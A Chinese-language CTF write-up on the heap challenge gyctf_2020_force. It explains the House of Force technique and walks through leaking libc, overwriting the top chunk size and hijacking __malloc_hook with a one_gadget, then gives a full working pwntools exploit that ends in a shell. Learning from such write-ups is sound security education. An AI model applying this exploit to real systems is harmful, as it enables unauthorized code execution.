程序分析
程序只有添加功能,puts功能没有用
添加功能中,有三个注意点
- chunk大小没有限制
- 可以获得分配空间的地址
- 读入长度固定为0x50
漏洞分析
根据题目force,可以联想到house of force堆利用方法
以下内容取自ctf-wiki
House Of Force 是一种堆利用方法,但是并不是说 House Of Force 必须得基于堆漏洞来进行利用。如果一个堆 (heap based) 漏洞想要通过 House Of Force 方法进行利用,需要以下条件:
- 能够以溢出等方式控制到 top chunk 的 size 域
- 能够自由地控制堆分配尺寸的大小
对于条件1,只要我们申请的空间小于0x48都可以实现
对于条件2,本题并没有限制分配空间大小,而在大多数堆题目中都对大小进行了限制,一般不会大于4096
漏洞利用
第一步是泄露libc地址,当我们申请一个极大Chunk时,程序会调用mmap进行内存分配,分配下来的地址之后就是是libc
如下图所示,我们得到的地址为0x7fef2dbc4010,而Libc地址为0x7fef2ddc5000
第二步需要把top chunk大小改为0xFFFFFFFFFFFFFFFF,这样我们才能不限制地进行分配,这是因为malloc时会进行如下检查
(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)
如果我们把top chunk大小改为0xFFFFFFFFFFFFFFFF,进行比较的时候会按照无符号数进行比较,就一定能通过检查,在进行此次分配时,我们还能顺便得到heap chunk的地址,并计算top chunk地址,之后计算malloc_hook与top chunk的偏移,记为offset
第三步需要分配offset -0x33(经过调试得到)的大小,此时我们得到的地址为__malloc_hook-0x10,这是因为本题中One_gadget需要利用realloc对栈进行调整
EXP
from pwn import *
r = remote("node3.buuoj.cn", 25023)
#r = process("./gyctf_2020_force")
context.log_level = 'debug'
elf = ELF("./gyctf_2020_force")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size, content):
r.recvuntil("2:puts\n")
r.sendline('1')
r.recvuntil("size\n")
r.sendline(str(size))
r.recvuntil("bin addr ")
addr = int(r.recvuntil('\n').strip(), 16)
r.recvuntil("content\n")
r.send(content)
return addr
def show(index):
r.recvuntil("2:puts\n")
r.sendline('2')
libc.address = add(0x200000, 'chunk0\n') + 0x200ff0
success('libc_base'+hex(libc.address))
heap_addr = add(0x18, 'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF))
success("heap_addr:"+hex(heap_addr))
top = heap_addr + 0x10
malloc_hook = libc.sym['__malloc_hook']
success("malloc_hook"+hex(malloc_hook))
one_gadget = one_gadget_16[1] + libc.address
realloc = libc.sym["__libc_realloc"]
offset = malloc_hook - top
system = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()
success("system:" + hex(system))
success("bin_sh" + hex(bin_sh))
add(offset-0x33, 'aaa\n')
add(0x10, 'a'*8+p64(one_gadget)+p64(realloc+0x10))
r.recvuntil("2:puts\n")
r.sendline('1')
r.recvuntil("size\n")
r.sendline(str(20))
r.interactive()